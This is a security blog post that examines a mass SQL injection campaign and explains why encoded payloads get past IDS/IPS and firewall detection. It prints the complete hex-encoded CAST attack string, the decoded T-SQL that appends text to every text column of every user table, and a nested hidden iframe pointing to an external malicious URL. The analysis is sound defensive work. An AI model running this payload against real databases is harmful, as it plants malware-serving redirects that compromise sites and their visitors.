A friend and co-worker of mine Jerry Mangiarelli recently posted about a SQL injection attack that he has been following. You can read his post here. As he indicates, it is not a new attack, nor a very complex attack. If you are interested in more details of the attack, SANS has more detailed review of the attack available here. My focus is not so much on the attack itself, but on the detection of the attack with security devices and why it is harder problem than many realize.
I think this attack is a really good example of how it is difficult for firewall, IPS, and IDS vendors to detect these type of attacks. While the ability to do so is improving every day, and vendors will claim they can (and in some cases they can), the bad guys do have the advantage. For the purposes of this post, I want to focus on how the attack attempts to hide from deployed security systems. This attack can be used as a great example of how easy it is to evade detection systems for people that are not technically dealing with attacks day to day and wonder why it is so hard.
The key to this attack is the CAST function. This function (which is available in many programming languages), will convert one data type to another. A set of integers to a letter, a decimal number to a hexadecimal number are two examples. In the attack, hexadecimal is used to mask the alphanumeric requests to the database.
If you look at the actual CAST function request, you see a 0x (means the next characters are a hexadecimal base) followed by:
6445634c417245204054207661526368615228323535292c406320764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e616d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e696420614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e78545950653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d205461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722834303030292c5b272b40432b275d29292b6361535428307833433639363637323631364436353230373337323633334432323638373437343730334132463246364536353644364636383735363936433634363936393645324537323735324637343634373332463637364632453730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323634363937333730364336313739334136453646364536353232334533433246363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c655f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c655f435552736f7220
The CAST function will convert the hexadecimal above to alphanumeric. The result of that conversion is:
dEcLArE @T vaRchaR(255),@c vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe=’U’ and (b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c whilE(@@FetCh_stAtuS=0) beGIn exEc(‘UpDaTE ['+@t+'] SeT ['+@c+']=rtRIM(CONVeRT(VARCHAr(4000),['+@C+']))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E aS vaRCHar(106))’) FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close tablE_CuRsoR dEALLoCATe TaBLe_CURsor
Now you can see how this looks more like a SQL statement, it is just masked. Where it becomes difficult for IPS/IDS vendors is that the translation that I did above, doesn’t happen until it reaches the sql engine for the targeted database. So in flight through network it appears as hexadecimal. Do you design your IPS/IDS systems with a sql engine that performs this function on every command? That takes time and resources. And what would you trigger on exactly in the decoded section above? The most logical thing to detect on in the decoded section, the attackers have actually hidden.
If you look carefully, there is a second CAST function nested within the first CAST function.
caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E
If you convert the hexadecimal in this inner CAST function you get:
<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>
This would be the logical area to detect. A SQL query containing an HTML IFRAME tag to an external unknown website. And this is the attack. The problem is that the IPS/IDS, firewall or other security would have to do the extra function of converting the CAST within the CAST function.
Processing recursively is resource intensive. How many times to you recurse through the CAST function? Are there other functions in SQL you should check? What about if it is not hexadecimal but octal or some other numerical base?
While security vendors often claim they can detect the above, there are often many conditions around those claims that they do not explain. Encryption, nested functions as above are but a few examples. These problems go beyond just SQL injection as well, and apply for many types of attacks.
When evaluating these technologies, it is important that you have someone on your side that is independent of any vendors. An employee or consultant that understands your requirements, is technically sound and solid about how the technology works (not just in theory), and can work on your behalf to ensure you understand exactly what the technologies can and can not do. You then have a real understanding of the risks and exposures you face.










